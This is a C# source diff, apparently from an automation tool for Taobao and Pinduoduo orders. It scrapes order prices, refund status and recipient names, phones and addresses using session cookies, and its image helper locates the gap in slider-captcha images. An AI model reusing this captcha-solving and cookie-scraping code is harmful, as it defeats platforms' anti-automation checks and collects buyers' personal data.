html = GetHtml.UrlDecode(html).Replace("\\", "");
buyPrice = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"实付款\",\"value\":\"¥([\\s\\S]+?)\"");
if (string.IsNullOrEmpty(buyPrice))
{
var arrPrice = BaseRegex.GetMatchRegex(ref html, "({\"content\":[{\"data\":{\"money\":[\\s\\S]+?\"text\":\"[\\s\\S]+?\",\"type\":\"label\"}})");
for (int i = 0; i < arrPrice.Count; i++)
{
var item = arrPrice[i].ToString();
if (item.Contains("实付款"))
{
buyPrice = BaseRegex.GetMatchRegexString(ref item, "\"text\":\"¥([\\s\\S]+?)\"");
break;
}
}
}
}
if (string.IsNullOrEmpty(buyPrice))
{
buyPrice = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"订单总金额\",\"value\":\"([\\s\\S]+?)\"");
}
if (string.IsNullOrEmpty(buyPrice))
{
buyPrice = BaseRegex.GetStringJson(ref html, "priceInfo");
}
if (string.IsNullOrEmpty(buyPrice))
{
decimal tempPrice = 0M;
try
{
var tempPriceInfo = System.Text.RegularExpressions.Regex.Matches(html, "priceInfo\":\\[\\{\"text\":\"¥[\\s\\S]+\",\"type\":\"label\"\\}\\],\"quantity\":\"[\\d]+?\"\\}\\]");
if (tempPriceInfo.Count > 0)
{
string tempPriceInfoStr = tempPriceInfo[0].ToString();
string tempPriceStr = BaseRegex.GetMatchRegexString(ref tempPriceInfoStr, "priceInfo\":\\[\\{\"text\":\"¥([\\s\\S]+)\",\"type\":\"label\"\\}\\],\"quantity\":\"([\\d]+?)\"\\}\\]");
if (!string.IsNullOrEmpty(tempPriceStr))
{
tempPrice = Convert.ToDecimal(tempPriceStr);//单个商品价格
int quantity = BaseRegex.GetIntJson(ref tempPriceInfoStr, "quantity");//数量
tempPrice = tempPrice * quantity;
buyPrice = tempPrice.ToString();
}
}
}
catch (Exception)
{
try
{
var tempPriceInfo = System.Text.RegularExpressions.Regex.Matches(html, "priceInfo\":\\[\\{\"text\":\"¥[\\s\\S]+\",\"type\":\"label\"\\}\\],\"quantity\":\"[\\d]+?\"\\}\\]\\},");
if (tempPriceInfo.Count > 0)
{
string tempPriceInfoStr = tempPriceInfo[0].ToString();
string tempPriceStr = BaseRegex.GetMatchRegexString(ref tempPriceInfoStr, "priceInfo\":\\[\\{\"text\":\"¥([\\s\\S]+)\",\"type\":\"label\"\\}\\],\"quantity\":\"([\\d]+?)\"\\}\\]");
if (!string.IsNullOrEmpty(tempPriceStr))
{
tempPrice = Convert.ToDecimal(tempPriceStr);//单个商品价格
int quantity = BaseRegex.GetIntJson(ref tempPriceInfoStr, "quantity");//数量
tempPrice = tempPrice * quantity;
buyPrice = tempPrice.ToString();
}
}
}
catch (Exception)
{
//throw;
}
//throw;
}
}
if (string.IsNullOrEmpty(buyPrice))
{
string url = "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8";
string refer = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm";
string data = "pageNum=1&pageSize=15&auctionTitle=" + orderId_buy + "&itemTitle=" + orderId_buy + "&prePageNo=1";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, refer, true, data, Cookies);
string tempStr = BaseRegex.GetMatchRegexString(ref htmlx, "(\"payInfo\":\\{\"actualFee\":\"[\\s\\S]+?\",)");
if (!string.IsNullOrEmpty(tempStr))
{
buyPrice = BaseRegex.GetStringJson(ref tempStr, "actualFee");
}
if (string.IsNullOrEmpty(buyPrice))
{
htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, refer, true, data);
tempStr = BaseRegex.GetMatchRegexString(ref htmlx, "(\"payInfo\":\\{\"actualFee\":\"[\\s\\S]+?\",)");
if (!string.IsNullOrEmpty(tempStr))
{
buyPrice = BaseRegex.GetStringJson(ref tempStr, "actualFee");
}
}
}
if (!string.IsNullOrEmpty(buyPrice))
{
buyPrice = buyPrice.Replace("¥", "");
}
string address = BaseRegex.GetStringJson(ref html, "address");
if (!string.IsNullOrEmpty(address))
{
var receiverInfoArr = address.Split(',');
if (receiverInfoArr.Length == 4)
{
receiveName = receiverInfoArr[0];
mobile = receiverInfoArr[1];
addressDetail = receiverInfoArr[2];
}
}
}
}
if (string.IsNullOrEmpty(buyPrice))
{
return "0";
}
return buyPrice;
}
#endregion
public bool isReturnProduct(string orderId_buy, string cookies)
{
if (orderId_buy.Contains("-"))
{
string url = BaseClass.PddMobileUrl + "order.html?order_sn=" + orderId_buy +
"&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032";
string refere = BaseClass.PddMobileUrl;
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies);
html = GetHtml.UrlDecode(html);
if (html.Contains("<a>退款成功(详情)</a>"))
{
return true;
}
}
return false;
}
public void ResetErrorSend()
{
string data = UserLogin.GetSignaturex();
string url = BaseClass.BuildObjString("pay_group_order&act=reset_status");
string html = GetHtml.PostUtf8(url, data);
if (html != "ok")
{
}
}
public string ExpressNames = "<a val=\"1\">申通快递</a><a val=\"3\">百世快递</a><a val=\"44\">顺丰快递</a><a val=\"85\">圆通快递</a><a val=\"89\">赛澳递</a><a val=\"90\">晟邦物流</a><a val=\"115\">中通快递</a><a val=\"116\">全峰快递</a><a val=\"117\">优速快递</a><a val=\"118\">邮政EMS</a><a val=\"119\">天天快递</a><a val=\"120\">京东配送</a><a val=\"121\">韵达快递</a><a val=\"122\">快捷快递</a><a val=\"124\">国通快递</a><a val=\"129\">宅急送快递</a><a val=\"130\">如风达</a><a val=\"131\">德邦快递</a><a val=\"132\">邮政快递包裹</a><a val=\"133\">龙邦快递</a><a val=\"135\">联邦快递</a><a val=\"136\">九曳供应链</a><a val=\"140\">南京晟邦</a><a val=\"142\">万象物流</a><a val=\"143\">立即送</a><a val=\"144\">门对门</a><a val=\"148\">安达信</a><a val=\"149\">海外快递</a><a val=\"150\">飞远物流</a><a val=\"152\">汇文快递</a><a val=\"154\">黄马甲</a><a val=\"155\">速尔快递</a><a val=\"156\">亚马逊物流</a><a val=\"157\">黑猫宅急便</a><a val=\"161\">上海赛澳递</a><a val=\"162\">城市100</a><a val=\"163\">芝麻开门</a><a val=\"164\">顺捷丰达</a><a val=\"165\">汇通小红马</a><a val=\"180\">其他</a><a val=\"183\">跨越速递</a><a val=\"186\">usps</a><a val=\"187\">青岛安捷</a><a val=\"195\">贝海国际速递</a><a val=\"197\">环球速运</a><a val=\"201\">全一快递</a><a val=\"205\">远成快运</a><a val=\"209\">联众国际快运</a><a val=\"210\">天地华宇</a><a val=\"211\">中邮速递</a><a val=\"213\">EMS-国际件</a><a val=\"214\">中铁物流</a><a val=\"216\">新邦物流</a><a val=\"217\">Flash Express</a><a val=\"218\">新顺丰NSF</a><a val=\"221\">DCS GLOBAL</a><a val=\"227\">日日顺物流</a><a val=\"228\">苏宁快递</a><a val=\"229\">百世快运</a><a val=\"230\">德邦物流</a><a val=\"231\">微特派</a><a val=\"232\">AAE全球专递</a><a val=\"233\">Aramex</a><a val=\"234\">Asendia USA</a><a val=\"235\">City-Link</a><a val=\"236\">COE</a><a val=\"237\">DHL德国</a><a val=\"238\">DHL全球</a><a val=\"239\">DHL中国</a><a val=\"240\">EMS国际</a><a val=\"241\">FedEx美国</a><a val=\"242\">FedEx中国</a><a val=\"243\">OCS</a><a val=\"244\">OnTrac</a><a val=\"245\">TNT</a><a val=\"246\">UPS</a><a val=\"247\">阿尔巴尼亚邮政</a><a val=\"248\">阿根廷邮政</a><a val=\"249\">阿联酋邮政</a><a val=\"250\">爱沙尼亚邮政</a><a val=\"252\">奥地利邮政</a><a val=\"253\">澳大利亚邮政</a><a val=\"254\">巴基斯坦邮政</a><a val=\"255\">巴西邮政</a><a val=\"256\">白俄罗斯邮政</a><a val=\"257\">百福东方</a><a val=\"258\">包裹信件</a><a val=\"259\">保加利亚邮政</a><a val=\"260\">比利时邮政</a><a val=\"261\">波兰邮政</a><a val=\"262\">传喜物流</a><a val=\"263\">大田物流</a><a val=\"264\">递四方</a><a val=\"265\">俄速通</a><a val=\"266\">法国邮政</a><a val=\"267\">凡宇快递</a><a val=\"268\">飞豹快递</a><a val=\"269\">飞远(爱彼西)配送</a><a val=\"270\">芬兰邮政</a><a val=\"271\">哥伦比亚邮政</a><a val=\"272\">韩国邮政</a><a val=\"273\">恒路物流</a><a val=\"274\">华企快运</a><a val=\"275\">加运美</a><a val=\"276\">佳吉快运</a><a val=\"277\">佳怡物流</a><a val=\"278\">嘉里大通</a><a val=\"279\">捷克邮政</a><a val=\"280\">筋斗云物流</a><a val=\"281\">京广速递</a><a val=\"282\">克罗地亚邮政</a><a val=\"283\">拉脱维亚邮政</a><a val=\"284\">黎巴嫩邮政</a><a val=\"285\">联昊通</a><a val=\"286\">马耳他邮政</a><a val=\"287\">马其顿邮政</a><a val=\"288\">毛里求斯邮政</a><a val=\"289\">秘鲁邮政</a><a val=\"290\">民邦快递</a><a val=\"291\">民航快递</a><a val=\"292\">明亮物流</a><a val=\"293\">摩尔多瓦邮政</a><a val=\"294\">南非邮政</a><a val=\"295\">挪威邮政</a><a val=\"296\">葡萄牙邮政</a><a val=\"297\">全日通</a><a val=\"298\">日本邮政</a><a val=\"299\">瑞典邮政</a><a val=\"300\">瑞士邮政</a><a val=\"301\">塞尔维亚邮政</a><a val=\"302\">三态速递</a><a val=\"303\">沙特邮政</a><a val=\"304\">圣安物流</a><a val=\"305\">盛丰物流</a><a val=\"306\">盛辉物流</a><a val=\"307\">斯洛伐克邮政</a><a val=\"308\">斯洛文尼亚邮政</a><a val=\"309\">穗佳物流</a><a val=\"310\">泰国邮政</a><a val=\"311\">土耳其邮政</a><a val=\"312\">万家物流</a><a val=\"313\">乌克兰邮政</a><a val=\"314\">西班牙邮政</a><a val=\"315\">信丰物流</a><a val=\"316\">匈牙利邮政</a><a val=\"317\">亚风速递</a><a val=\"318\">亚美尼亚邮政</a><a val=\"319\">燕文物流</a><a val=\"320\">意大利邮政</a><a val=\"321\">银捷速递</a><a val=\"322\">印度邮政</a><a val=\"323\">英国皇家邮政</a><a val=\"324\">邮政标准快递</a><a val=\"325\">邮政国际包裹</a><a val=\"326\">越丰物流</a><a val=\"327\">运通中港快递</a><a val=\"328\">增益速递</a><a val=\" Line truncated
}
}
+317
View File
@@ -0,0 +1,317 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class Base64ChangeImgUrl
{
/// <summary>
/// 将Base64字符串转换为图片
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
public Bitmap ToImage(string imgBase64)
{
imgBase64 = imgBase64.Substring("data:image/jpeg;base64,".Length);
byte[] bytes = Convert.FromBase64String(imgBase64);
MemoryStream ms = new MemoryStream(bytes);
Image mImage = Image.FromStream(ms);
Bitmap bmpt = new Bitmap(ms);
return bmpt;
}
/// <summary>
/// 图片转Base64
/// </summary>
/// <param name="ImageFileName">图片的完整路径</param>
/// <returns></returns>
public static string ImgToBase64(Bitmap bmp)
{
try
{
MemoryStream ms = new MemoryStream();
bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
byte[] arr = new byte[ms.Length];
ms.Position = 0;
ms.Read(arr, 0, (int)ms.Length);
ms.Close();
return Convert.ToBase64String(arr);
}
catch (Exception)
{
return null;
}
}
public string CutZoom(string Base64pic)
{
byte[] arr2 = Convert.FromBase64String(Base64pic);
Bitmap bmp3 = null;
using (MemoryStream ms2 = new MemoryStream(arr2))
{
Bitmap bmp2 = new System.Drawing.Bitmap(ms2);
bmp3 = GetThumbnail(bmp2, 130, 270);
}
return ImgToBase64(bmp3);
}
/// <summary>
/// 图片转为二进制
/// </summary>
/// <param name="Bitmap"></param>
/// <returns></returns>
public byte[] GetPictureData(Bitmap Bitmap)
{
MemoryStream ms = null;
try
{
ms = new MemoryStream();
Bitmap.Save(ms, Bitmap.RawFormat);
byte[] byteImage = new Byte[ms.Length];
byteImage = ms.ToArray();
return byteImage;
}
catch (ArgumentNullException ex)
{
throw ex;
}
finally
{
ms.Close();
}
}
public byte[] Base64ChangeBuffer(String imgBase64)
{
try
{
if (!string.IsNullOrEmpty(imgBase64))
{
return GetPictureData(ToImage(imgBase64));
}
return null;
}
catch
{
return null;
}
}
public static Bitmap GetThumbnail(Bitmap b, int destHeight, int destWidth)
{
System.Drawing.Image imgSource = b;
System.Drawing.Imaging.ImageFormat thisFormat = imgSource.RawFormat;
int sW = 0, sH = 0;
// 按比例缩放
int sWidth = imgSource.Width;
int sHeight = imgSource.Height;
if (sHeight > destHeight || sWidth > destWidth)
{
if ((sWidth * destHeight) > (sHeight * destWidth))
{
sW = destWidth;
sH = (destWidth * sHeight) / sWidth;
}
else
{
sH = destHeight;
sW = (sWidth * destHeight) / sHeight;
}
}
else
{
sW = sWidth;
sH = sHeight;
}
Bitmap outBmp = new Bitmap(destWidth, destHeight);
Graphics g = Graphics.FromImage(outBmp);
g.Clear(Color.Transparent);
// 设置画布的描绘质量
g.CompositingQuality = CompositingQuality.HighQuality;
g.SmoothingMode = SmoothingMode.HighQuality;
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
g.DrawImage(imgSource, new Rectangle((destWidth - sW) / 2, (destHeight - sH) / 2, sW, sH), 0, 0, imgSource.Width, imgSource.Height, GraphicsUnit.Pixel);
g.Dispose();
// 以下代码为保存图片时,设置压缩质量
EncoderParameters encoderParams = new EncoderParameters();
long[] quality = new long[1];
quality[0] = 100;
EncoderParameter encoderParam = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
encoderParams.Param[0] = encoderParam;
imgSource.Dispose();
return outBmp;
}
public int CalculateNick(Bitmap bitmap, int v)
{
int iNickX = 0;
int iDis = 5; //差异值
List<int> lstiNickX = new List<int>();
for (int y = 0; y < bitmap.Height; y++)
{
for (int x = 0; x < bitmap.Width - v; x++)
{
Color color1 = bitmap.GetPixel(x, y);
Color color2 = bitmap.GetPixel(x + 1, y);
int icolor1 = GetRGBFromColor(color1);
int icolor2 = GetRGBFromColor(color2);
double dDistance = GetDistance(color2, color1);
if (dDistance > iDis && icolor2 < icolor1)
{
for (int i = 0; i < v + v / 2; i++)
{
iNickX = x + i;
if (iNickX >= bitmap.Width - 1)
{
continue;
}
Color colorNickPre = bitmap.GetPixel(iNickX, y);
Color colorNickAft = bitmap.GetPixel(iNickX + 1, y);
int icolorNickPre = GetRGBFromColor(colorNickPre);
int icolorNickAft = GetRGBFromColor(colorNickAft);
double dNickDistance = GetDistance(colorNickAft, colorNickPre);
if (dNickDistance > dDistance && icolorNickAft > icolorNickPre)
{
int iGap = Math.Abs(iNickX - x - v);
if (iGap <= 2)
{
lstiNickX.Add(x);
}
break;
}
}
}
}
}
if (lstiNickX.Count > 0)
{
iNickX = GetRight(lstiNickX);
//label1.Text = iNickX.ToString();
}
return iNickX;
}
/// <summary>
/// 滑块的宽度
/// </summary>
/// <param name="bitmap"></param>
/// <param name="v"></param>
/// <returns></returns>
public int CalculateNickNew(Bitmap bitmap, int v = 39)
{
int iNickX = 0;
decimal idif = 0.50m; // 差异比例
List<int> lstiNickX = new List<int>();
for (int y = 0; y < bitmap.Height; y++)
{
for (int x = 0; x < bitmap.Width - v - 1; x++)
{
Color color1 = bitmap.GetPixel(x, y);
Color color2 = bitmap.GetPixel(x + 1, y);
int icolor1 = color1.R + color1.G + color1.B;
int icolor2 = color2.R + color2.G + color2.B;
if (color2.R < color1.R * (1 - idif) && color2.G < color1.G * (1 - idif) && color2.G < color1.G * (1 - idif))
{
for (int i = 1; i < v + v / 2; i++)
{
iNickX = x + i;
if (iNickX >= bitmap.Width - 1)
{
continue;
}
Color color3 = bitmap.GetPixel(iNickX, y);
Color color4 = bitmap.GetPixel(iNickX + 1, y);
int icolor3 = GetRGBFromColor(color3);
int icolor4 = GetRGBFromColor(color4);
if (color3.R < color4.R * (1 - idif) && color3.G < color4.G * (1 - idif) && color3.G < color4.G * (1 - idif))
{
int iGap = Math.Abs(iNickX - x - v);
if (iGap <= 2)
{
lstiNickX.Add(x);
break;
}
}
}
}
}
}
if (lstiNickX.Count > 0)
{
iNickX = GetRight(lstiNickX);
//label1.Text = iNickX.ToString();
}
return iNickX + 1;
}
public int GetRGBFromColor(Color color)
{
return (int)(((int)color.B << 16) | (ushort)(((ushort)color.G << 8) | color.R));
byte r = color.R;
byte g = color.G;
byte b = color.B;
//转化为32bit RGB值:
int rgb = r + g * 256 + b * 256 * 256;
return rgb;
}
private double GetDistance(Color color1, Color color2)
{
double y1, u1, v1, y2, u2, v2;
y1 = 0.299 * color1.R + 0.587 * color1.G + 0.114 * color1.B;
u1 = -0.14713 * color1.R - 0.28886 * color1.G + 0.436 * color1.B;
v1 = 0.615 * color1.R - 0.51498 * color1.G - 0.10001 * color1.B;
y2 = 0.299 * color2.R + 0.587 * color2.G + 0.114 * color2.B;
u2 = -0.14713 * color2.R - 0.28886 * color2.G + 0.436 * color2.B;
v2 = 0.615 * color2.R - 0.51498 * color2.G - 0.10001 * color2.B;
return Math.Sqrt((y1 - y2) * (y1 - y2) + (u1 - u2) * (u1 - u2) + (v1 - v2) * (v1 - v2));
}
private int GetRight(List<int> lstiNickX)
{
//int iMaxValue = lstiNickX[0];
//int iMaxTime = 0;
//for (int i = 0; i < lstiNickX.Count; i++)
//{
// int iCurrentTime = 1;
// for (int j = 0; j < i - 1; j++)
// {
// if(lstiNickX[j] == lstiNickX[i])
// {
// iCurrentTime++;
// if(iCurrentTime > iMaxTime)
// {
// iMaxTime = iCurrentTime;
// iMaxValue = lstiNickX[j];
// }
// }
// }
//}
//return iMaxValue;
var res = from n in lstiNickX
group n by n into g
orderby g.Count() descending
select g;
var gr = res.First();
return gr.Key;
}
}
}
+177
View File
@@ -0,0 +1,177 @@
namespace Work.BaseForms
{
partial class BaseForm
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.panel2 = new System.Windows.Forms.Panel();
this.pbMinBase = new System.Windows.Forms.PictureBox();
this.pbNormalBase = new System.Windows.Forms.PictureBox();
this.pbMaxBase = new System.Windows.Forms.PictureBox();
this.pictureBox3 = new System.Windows.Forms.PictureBox();
this.lbTitle = new System.Windows.Forms.Label();
this.pbCloseBase = new System.Windows.Forms.PictureBox();
this.panel2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit();
this.SuspendLayout();
//
// panel2
//
this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233)))));
this.panel2.Controls.Add(this.pbMinBase);
this.panel2.Controls.Add(this.pbNormalBase);
this.panel2.Controls.Add(this.pbMaxBase);
this.panel2.Controls.Add(this.pictureBox3);
this.panel2.Controls.Add(this.lbTitle);
this.panel2.Controls.Add(this.pbCloseBase);
this.panel2.Dock = System.Windows.Forms.DockStyle.Top;
this.panel2.Location = new System.Drawing.Point(0, 0);
this.panel2.Name = "panel2";
this.panel2.Size = new System.Drawing.Size(386, 32);
this.panel2.TabIndex = 2;
this.panel2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseDown);
this.panel2.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseMove);
//
// pbMinBase
//
this.pbMinBase.Dock = System.Windows.Forms.DockStyle.Right;
this.pbMinBase.Image = global::Work.Properties.Resources.min;
this.pbMinBase.Location = new System.Drawing.Point(258, 0);
this.pbMinBase.Name = "pbMinBase";
this.pbMinBase.Size = new System.Drawing.Size(32, 32);
this.pbMinBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage;
this.pbMinBase.TabIndex = 1;
this.pbMinBase.TabStop = false;
this.pbMinBase.Click += new System.EventHandler(this.PictureBox2_Click);
this.pbMinBase.MouseLeave += new System.EventHandler(this.PictureBox2_MouseLeave);
this.pbMinBase.MouseHover += new System.EventHandler(this.PictureBox2_MouseHover);
//
// pbNormalBase
//
this.pbNormalBase.Dock = System.Windows.Forms.DockStyle.Right;
this.pbNormalBase.Image = global::Work.Properties.Resources.normal;
this.pbNormalBase.Location = new System.Drawing.Point(290, 0);
this.pbNormalBase.Name = "pbNormalBase";
this.pbNormalBase.Size = new System.Drawing.Size(32, 32);
this.pbNormalBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage;
this.pbNormalBase.TabIndex = 6;
this.pbNormalBase.TabStop = false;
this.pbNormalBase.Visible = false;
this.pbNormalBase.Click += new System.EventHandler(this.pbNormalBase_Click);
this.pbNormalBase.MouseLeave += new System.EventHandler(this.pbNormalBase_MouseLeave);
this.pbNormalBase.MouseHover += new System.EventHandler(this.pbNormalBase_MouseHover);
//
// pbMaxBase
//
this.pbMaxBase.Dock = System.Windows.Forms.DockStyle.Right;
this.pbMaxBase.Image = global::Work.Properties.Resources.max;
this.pbMaxBase.Location = new System.Drawing.Point(322, 0);
this.pbMaxBase.Name = "pbMaxBase";
this.pbMaxBase.Size = new System.Drawing.Size(32, 32);
this.pbMaxBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage;
this.pbMaxBase.TabIndex = 5;
this.pbMaxBase.TabStop = false;
this.pbMaxBase.Visible = false;
this.pbMaxBase.Click += new System.EventHandler(this.pbMaxBase_Click);
this.pbMaxBase.MouseLeave += new System.EventHandler(this.pbMaxBase_MouseLeave);
this.pbMaxBase.MouseHover += new System.EventHandler(this.pbMaxBase_MouseHover);
//
// pictureBox3
//
this.pictureBox3.BackColor = System.Drawing.Color.Transparent;
this.pictureBox3.Image = global::Work.Properties.Resources.icon;
this.pictureBox3.Location = new System.Drawing.Point(5, 3);
this.pictureBox3.Name = "pictureBox3";
this.pictureBox3.Size = new System.Drawing.Size(23, 23);
this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox3.TabIndex = 3;
this.pictureBox3.TabStop = false;
//
// lbTitle
//
this.lbTitle.AutoSize = true;
this.lbTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.lbTitle.ForeColor = System.Drawing.Color.White;
this.lbTitle.Location = new System.Drawing.Point(31, 6);
this.lbTitle.Name = "lbTitle";
this.lbTitle.Size = new System.Drawing.Size(45, 17);
this.lbTitle.TabIndex = 2;
this.lbTitle.Text = "label1";
//
// pbCloseBase
//
this.pbCloseBase.Dock = System.Windows.Forms.DockStyle.Right;
this.pbCloseBase.Image = global::Work.Properties.Resources.close;
this.pbCloseBase.Location = new System.Drawing.Point(354, 0);
this.pbCloseBase.Name = "pbCloseBase";
this.pbCloseBase.Size = new System.Drawing.Size(32, 32);
this.pbCloseBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage;
this.pbCloseBase.TabIndex = 0;
this.pbCloseBase.TabStop = false;
this.pbCloseBase.Click += new System.EventHandler(this.PictureBox1_Click);
this.pbCloseBase.MouseLeave += new System.EventHandler(this.PictureBox1_MouseLeave);
this.pbCloseBase.MouseHover += new System.EventHandler(this.PictureBox1_MouseHover);
//
// BaseForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233)))));
this.ClientSize = new System.Drawing.Size(386, 183);
this.Controls.Add(this.panel2);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.Name = "BaseForm";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "BaseForm";
this.Load += new System.EventHandler(this.LcBaseForm_Load);
this.panel2.ResumeLayout(false);
this.panel2.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.Panel panel2;
private System.Windows.Forms.PictureBox pbMinBase;
private System.Windows.Forms.PictureBox pbNormalBase;
private System.Windows.Forms.PictureBox pbMaxBase;
private System.Windows.Forms.PictureBox pictureBox3;
private System.Windows.Forms.Label lbTitle;
protected System.Windows.Forms.PictureBox pbCloseBase;
}
}
+279
View File
@@ -0,0 +1,279 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Work.BaseForms
{
public partial class BaseForm : Form
{
const int WM_NCHITTEST = 0x0084;
const int HTLEFT = 10; //左边界
const int HTRIGHT = 11; //右边界
const int HTTOP = 12; //上边界
const int HTTOPLEFT = 13; //左上角
const int HTTOPRIGHT = 14; //右上角
const int HTBOTTOM = 15; //下边界
const int HTBOTTOMLEFT = 0x10; //左下角
const int HTBOTTOMRIGHT = 17; //右下角
protected bool Minimized { get { return this.pbMinBase.Visible; } set { this.pbMinBase.Visible = value; } }
protected override void WndProc(ref Message m)
{
switch (m.Msg)
{
case WM_NCHITTEST:
base.WndProc(ref m);
Point vPoint = new Point((int)m.LParam & 0xFFFF,
(int)m.LParam >> 16 & 0xFFFF);
vPoint = PointToClient(vPoint);
if (vPoint.X <= 5)
if (vPoint.Y <= 5)
m.Result = (IntPtr)HTTOPLEFT;
else if (vPoint.Y >= ClientSize.Height - 5)
m.Result = (IntPtr)HTBOTTOMLEFT;
else m.Result = (IntPtr)HTLEFT;
else if (vPoint.X >= ClientSize.Width - 5)
if (vPoint.Y <= 5)
m.Result = (IntPtr)HTTOPRIGHT;
else if (vPoint.Y >= ClientSize.Height - 5)
m.Result = (IntPtr)HTBOTTOMRIGHT;
else m.Result = (IntPtr)HTRIGHT;
else if (vPoint.Y <= 5)
m.Result = (IntPtr)HTTOP;
else if (vPoint.Y >= ClientSize.Height - 5)
m.Result = (IntPtr)HTBOTTOM;
break;
default:
base.WndProc(ref m);
break;
}
}
public BaseForm()
{
InitializeComponent();
this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height);
if (FileBase.Exists(BaseClass.ProgromLogoIco))
{
Image img = Image.FromFile(BaseClass.ProgromLogoIco);
pictureBox3.Image = img;
}
}
private void LcBaseForm_Load(object sender, EventArgs e)
{
if (BaseClass.Ico != null)
Iconx = Icon = BaseClass.Ico;
else
Iconx = Icon = BaseClass.Ico = ImageBuild.ConvertToIcon(Properties.Resources.icon);
if (this.IsShowMax)
{
if (this.WindowState == FormWindowState.Maximized)
{
this.pbMaxBase.Visible = false;
this.pbNormalBase.Visible = true;
}
else
{
this.pbMaxBase.Visible = true;
this.pbNormalBase.Visible = false;
}
}
}
private void PictureBox2_Click(object sender, EventArgs e)
{
WindowState = FormWindowState.Minimized;
}
public virtual void PictureBox1_Click(object sender, EventArgs e)
{
//pictureBox3.Image?.Dispose();
Close();
}
private Icon _iconx;
public Icon Iconx
{
set
{
_iconx = value;
if (_iconx == null) return;
using (MemoryStream mStream = new MemoryStream())
{
_iconx.Save(mStream);
Image image = Image.FromStream(mStream);
pictureBox3.Image = image;
}
}
}
private bool isShowMax = false;
public bool IsShowMax
{
get { return isShowMax; }
set
{
isShowMax = value;
if (isShowMax)
{
if (this.WindowState == FormWindowState.Maximized)
{
this.pbMaxBase.Visible = false;
this.pbNormalBase.Visible = true;
}
else
{
this.pbMaxBase.Visible = true;
this.pbNormalBase.Visible = false;
}
}
else
{
this.pbMaxBase.Visible = false;
this.pbNormalBase.Visible = false;
}
}
}
public string TitleText
{
get
{
return Text;
}
set
{
Text = lbTitle.Text = value;
}
}
private Point mouseOffset;//记录鼠标指针的坐标
private bool isMouseDown;//记录鼠标左键是否按下
private void Panel1_MouseMove(object sender, MouseEventArgs e)
{
if (isMouseDown)
{//获取鼠标的位置
Point mousePos = MousePosition;
mousePos.Offset(mouseOffset.X, mouseOffset.Y);
Location = mousePos;
}
}
private void Panel1_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
mouseOffset = new Point(-e.X, -e.Y);
isMouseDown = true;
}
}
private void Panel1_MouseUp(object sender, MouseEventArgs e)
{
isMouseDown = false;
}
private void PictureBox1_MouseHover(object sender, EventArgs e)
{
this.pbCloseBase.Image = global::Work.Properties.Resources.close_hover;
this.Cursor = Cursors.Hand;
}
private void PictureBox1_MouseLeave(object sender, EventArgs e)
{
this.pbCloseBase.Image = global::Work.Properties.Resources.close;
this.Cursor = Cursors.Default;
}
private void PictureBox2_MouseHover(object sender, EventArgs e)
{
this.pbMinBase.Image = global::Work.Properties.Resources.min_hover;
